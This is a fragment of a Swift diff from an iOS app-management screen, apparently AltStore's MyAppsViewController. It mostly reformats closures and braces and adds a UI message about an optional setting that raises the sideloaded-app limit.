case .success(let app):
|
||||||
completion(.success(()))
|
completion(.success(()))
|
||||||
|
|
||||||
app.managedObjectContext?.perform {
|
app.managedObjectContext?.perform
|
||||||
|
{
|
||||||
print("Successfully installed app:", app.bundleIdentifier)
|
print("Successfully installed app:", app.bundleIdentifier)
|
||||||
}
|
}
|
||||||
|
|
||||||
case .failure(OperationError.cancelled):
|
case .failure(OperationError.cancelled):
|
||||||
completion(.failure((OperationError.cancelled)))
|
completion(.failure(OperationError.cancelled))
|
||||||
|
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -930,11 +958,17 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
@objc func presentInactiveAppsAlert()
|
@objc func presentInactiveAppsAlert()
|
||||||
{
|
{
|
||||||
let message: String
|
var message: String
|
||||||
|
|
||||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||||
{
|
{
|
||||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
|
||||||
|
|
||||||
|
if UserDefaults.standard.enableCowExploit
|
||||||
|
{
|
||||||
|
message += "\n\n"
|
||||||
|
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -974,13 +1008,15 @@ private extension MyAppsViewController
|
|||||||
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
|
||||||
|
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
|
||||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
|
||||||
completion(.failure(OperationError.cancelled))
|
completion(.failure(OperationError.cancelled))
|
||||||
}))
|
}))
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
|
||||||
|
{ _ in
|
||||||
completion(.success(()))
|
completion(.success(()))
|
||||||
})
|
})
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
|
||||||
|
{ _ in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
for appExtension in application.appExtensions
|
for appExtension in application.appExtensions
|
||||||
@@ -1004,7 +1040,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
func open(_ installedApp: InstalledApp)
|
func open(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
UIApplication.shared.open(installedApp.openAppURL) { success in
|
UIApplication.shared.open(installedApp.openAppURL)
|
||||||
|
{ success in
|
||||||
guard !success else { return }
|
guard !success else { return }
|
||||||
|
|
||||||
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
|
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
|
||||||
@@ -1015,16 +1052,20 @@ private extension MyAppsViewController
|
|||||||
func refresh(_ installedApp: InstalledApp)
|
func refresh(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||||
guard previousProgress == nil else {
|
guard previousProgress == nil
|
||||||
|
else
|
||||||
|
{
|
||||||
previousProgress?.cancel()
|
previousProgress?.cancel()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
self.refresh([installedApp]) { (results) in
|
self.refresh([installedApp])
|
||||||
|
{ results in
|
||||||
// If an error occured, reload the section so the progress bar is no longer visible.
|
// If an error occured, reload the section so the progress bar is no longer visible.
|
||||||
if results.values.contains(where: { $0.error != nil })
|
if results.values.contains(where: { $0.error != nil })
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1040,7 +1081,8 @@ private extension MyAppsViewController
|
|||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
app.managedObjectContext?.perform {
|
app.managedObjectContext?.perform
|
||||||
|
{
|
||||||
try? app.managedObjectContext?.save()
|
try? app.managedObjectContext?.save()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1052,7 +1094,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to activate app:", error)
|
print("Failed to activate app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
|
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -1073,11 +1116,13 @@ private extension MyAppsViewController
|
|||||||
.filter(\.isActive)
|
.filter(\.isActive)
|
||||||
.map { $0.publisher(for: \.isActive) }
|
.map { $0.publisher(for: \.isActive) }
|
||||||
.collect()
|
.collect()
|
||||||
.flatMap { publishers in
|
.flatMap
|
||||||
|
{ publishers in
|
||||||
Publishers.MergeMany(publishers)
|
Publishers.MergeMany(publishers)
|
||||||
}
|
}
|
||||||
.first { isActive in !isActive }
|
.first { isActive in !isActive }
|
||||||
.sink { _ in
|
.sink
|
||||||
|
{ _ in
|
||||||
// A previously active app is now inactive,
|
// A previously active app is now inactive,
|
||||||
// which means there are now enough slots to activate the app,
|
// which means there are now enough slots to activate the app,
|
||||||
// so pre-emptively mark it as active to provide visual feedback sooner.
|
// so pre-emptively mark it as active to provide visual feedback sooner.
|
||||||
@@ -1085,9 +1130,11 @@ private extension MyAppsViewController
|
|||||||
cancellable?.cancel()
|
cancellable?.cancel()
|
||||||
}
|
}
|
||||||
|
|
||||||
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in
|
AppManager.shared.deactivateApps(for: app, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
cancellable?.cancel()
|
cancellable?.cancel()
|
||||||
installedApp.managedObjectContext?.perform {
|
installedApp.managedObjectContext?.perform
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
@@ -1113,7 +1160,8 @@ private extension MyAppsViewController
|
|||||||
guard installedApp.isActive else { return }
|
guard installedApp.isActive else { return }
|
||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
|
|
||||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.deactivate(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1125,7 +1173,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to activate app:", error)
|
print("Failed to activate app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
installedApp.isActive = true
|
installedApp.isActive = true
|
||||||
|
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
@@ -1153,13 +1202,15 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
|
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
|
||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
|
||||||
AppManager.shared.remove(installedApp) { (result) in
|
AppManager.shared.remove(installedApp)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: break
|
case .success: break
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
@@ -1179,8 +1230,9 @@ private extension MyAppsViewController
|
|||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
|
|
||||||
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
|
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
|
||||||
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
|
||||||
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.backup(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1192,7 +1244,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to back up app:", error)
|
print("Failed to back up app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
|
|
||||||
@@ -1201,7 +1254,8 @@ private extension MyAppsViewController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
@@ -1214,8 +1268,9 @@ private extension MyAppsViewController
|
|||||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
|
||||||
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in
|
AppManager.shared.restore(installedApp, presentingViewController: self)
|
||||||
|
{ result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let app = try result.get()
|
let app = try result.get()
|
||||||
@@ -1227,14 +1282,16 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to restore app:", error)
|
print("Failed to restore app:", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.collectionView.reloadSections([Section.activeApps.rawValue])
|
self.collectionView.reloadSections([Section.activeApps.rawValue])
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
@@ -1267,7 +1324,8 @@ private extension MyAppsViewController
|
|||||||
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||||
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||||
|
{ context in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
|
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
|
||||||
@@ -1291,7 +1349,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
if tempApp.isActive
|
if tempApp.isActive
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.refresh(installedApp)
|
self.refresh(installedApp)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1300,7 +1359,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
print("Failed to change app icon.", error)
|
print("Failed to change app icon.", error)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
@@ -1311,8 +1371,10 @@ private extension MyAppsViewController
|
|||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
func enableJIT(for installedApp: InstalledApp)
|
func enableJIT(for installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
AppManager.shared.enableJIT(for: installedApp)
|
||||||
DispatchQueue.main.async {
|
{ result in
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success: break
|
case .success: break
|
||||||
@@ -1329,7 +1391,8 @@ private extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
@objc func didFetchSource(_ notification: Notification)
|
@objc func didFetchSource(_ notification: Notification)
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
|
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
|
||||||
{
|
{
|
||||||
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
|
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
|
||||||
@@ -1347,7 +1410,8 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
|
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
|
||||||
|
|
||||||
self.sideloadApp(at: url) { (result) in
|
self.sideloadApp(at: url)
|
||||||
|
{ _ in
|
||||||
guard url.isFileURL else { return }
|
guard url.isFileURL else { return }
|
||||||
|
|
||||||
do
|
do
|
||||||
@@ -1374,7 +1438,8 @@ extension MyAppsViewController
|
|||||||
case .updates:
|
case .updates:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
|
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
|
||||||
headerView.button.setTitle("▾", for: .normal)
|
headerView.button.setTitle("▾", for: .normal)
|
||||||
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
|
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
|
||||||
@@ -1400,7 +1465,8 @@ extension MyAppsViewController
|
|||||||
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
|
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||||
|
|
||||||
@@ -1438,7 +1504,8 @@ extension MyAppsViewController
|
|||||||
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
|
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
|
||||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||||
|
|
||||||
UIView.performWithoutAnimation {
|
UIView.performWithoutAnimation
|
||||||
|
{
|
||||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||||
|
|
||||||
@@ -1507,50 +1574,61 @@ extension MyAppsViewController
|
|||||||
{
|
{
|
||||||
var actions = [UIMenuElement]()
|
var actions = [UIMenuElement]()
|
||||||
|
|
||||||
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in
|
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
|
||||||
|
{ _ in
|
||||||
self.open(installedApp)
|
self.open(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
|
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
|
||||||
|
|
||||||
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in
|
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
|
||||||
|
{ _ in
|
||||||
self.refresh(installedApp)
|
self.refresh(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in
|
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
|
||||||
|
{ _ in
|
||||||
self.activate(installedApp)
|
self.activate(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in
|
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
|
||||||
|
{ _ in
|
||||||
self.deactivate(installedApp)
|
self.deactivate(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in
|
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
|
||||||
|
{ _ in
|
||||||
self.remove(installedApp)
|
self.remove(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in
|
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
|
||||||
|
{ _ in
|
||||||
guard #available(iOS 14, *) else { return }
|
guard #available(iOS 14, *) else { return }
|
||||||
self.enableJIT(for: installedApp)
|
self.enableJIT(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in
|
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
|
||||||
|
{ _ in
|
||||||
self.backup(installedApp)
|
self.backup(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in
|
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
|
||||||
|
{ _ in
|
||||||
self.exportBackup(for: installedApp)
|
self.exportBackup(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in
|
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
|
||||||
|
{ _ in
|
||||||
self.restore(installedApp)
|
self.restore(installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in
|
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
|
||||||
|
{ _ in
|
||||||
self.chooseIcon(for: installedApp)
|
self.chooseIcon(for: installedApp)
|
||||||
}
|
}
|
||||||
|
|
||||||
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in
|
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
|
||||||
|
{ _ in
|
||||||
self.changeIcon(for: installedApp, to: nil)
|
self.changeIcon(for: installedApp, to: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1562,7 +1640,9 @@ extension MyAppsViewController
|
|||||||
|
|
||||||
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
|
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
|
||||||
|
|
||||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||||
|
else
|
||||||
|
{
|
||||||
#if BETA
|
#if BETA
|
||||||
return [refreshAction, changeIconMenu]
|
return [refreshAction, changeIconMenu]
|
||||||
#else
|
#else
|
||||||
@@ -1605,9 +1685,10 @@ extension MyAppsViewController
|
|||||||
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
|
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
|
||||||
{
|
{
|
||||||
var backupExists = false
|
var backupExists = false
|
||||||
var outError: NSError? = nil
|
var outError: NSError?
|
||||||
|
|
||||||
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
|
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
|
||||||
|
{ backupDirectoryURL in
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
backupExists = true
|
backupExists = true
|
||||||
#else
|
#else
|
||||||
@@ -1649,7 +1730,7 @@ extension MyAppsViewController
|
|||||||
// Legacy sideloaded app, so can't detect if it's deleted.
|
// Legacy sideloaded app, so can't detect if it's deleted.
|
||||||
actions.append(removeAction)
|
actions.append(removeAction)
|
||||||
}
|
}
|
||||||
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive
|
else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
|
||||||
{
|
{
|
||||||
// Inactive apps are actually deleted, so we need another way
|
// Inactive apps are actually deleted, so we need another way
|
||||||
// for user to remove them from AltStore.
|
// for user to remove them from AltStore.
|
||||||
@@ -1670,7 +1751,8 @@ extension MyAppsViewController
|
|||||||
case .activeApps, .inactiveApps:
|
case .activeApps, .inactiveApps:
|
||||||
let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
|
|
||||||
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in
|
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
|
||||||
|
{ _ -> UIMenu? in
|
||||||
let actions = self.actions(for: installedApp)
|
let actions = self.actions(for: installedApp)
|
||||||
|
|
||||||
let menu = UIMenu(title: "", children: actions)
|
let menu = UIMenu(title: "", children: actions)
|
||||||
@@ -1868,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
|
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
|
||||||
else { return UICollectionViewDropProposal(operation: .cancel) }
|
else { return UICollectionViewDropProposal(operation: .cancel) }
|
||||||
|
|
||||||
var dropDestinationIndexPath: IndexPath? = nil
|
var dropDestinationIndexPath: IndexPath?
|
||||||
|
|
||||||
defer
|
defer
|
||||||
{
|
{
|
||||||
@@ -1881,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
|
|
||||||
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
|
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
|
||||||
|
|
||||||
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) {
|
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
|
||||||
|
{
|
||||||
for indexPath in indexPaths
|
for indexPath in indexPaths
|
||||||
{
|
{
|
||||||
// Access cell directly so we can animate it correctly.
|
// Access cell directly so we can animate it correctly.
|
||||||
@@ -1917,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
{
|
{
|
||||||
// Activating
|
// Activating
|
||||||
|
|
||||||
guard point.y > activeAppsHeaderAttributes.frame.minY else {
|
guard point.y > activeAppsHeaderAttributes.frame.minY
|
||||||
|
else
|
||||||
|
{
|
||||||
// Above active apps section.
|
// Above active apps section.
|
||||||
return UICollectionViewDropProposal(operation: .cancel)
|
return UICollectionViewDropProposal(operation: .cancel)
|
||||||
}
|
}
|
||||||
|
|
||||||
guard point.y < inactiveAppsHeaderAttributes.frame.minY else {
|
guard point.y < inactiveAppsHeaderAttributes.frame.minY
|
||||||
|
else
|
||||||
|
{
|
||||||
// Inactive apps section.
|
// Inactive apps section.
|
||||||
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
|
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
|
||||||
}
|
}
|
||||||
@@ -1940,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
// Not enough active app slots, so we need to deactivate an app.
|
// Not enough active app slots, so we need to deactivate an app.
|
||||||
|
|
||||||
// Provided destinationIndexPath is inaccurate.
|
// Provided destinationIndexPath is inaccurate.
|
||||||
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else {
|
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
|
||||||
|
else
|
||||||
|
{
|
||||||
// Invalid destination index path.
|
// Invalid destination index path.
|
||||||
return UICollectionViewDropProposal(operation: .cancel)
|
return UICollectionViewDropProposal(operation: .cancel)
|
||||||
}
|
}
|
||||||
|
|
||||||
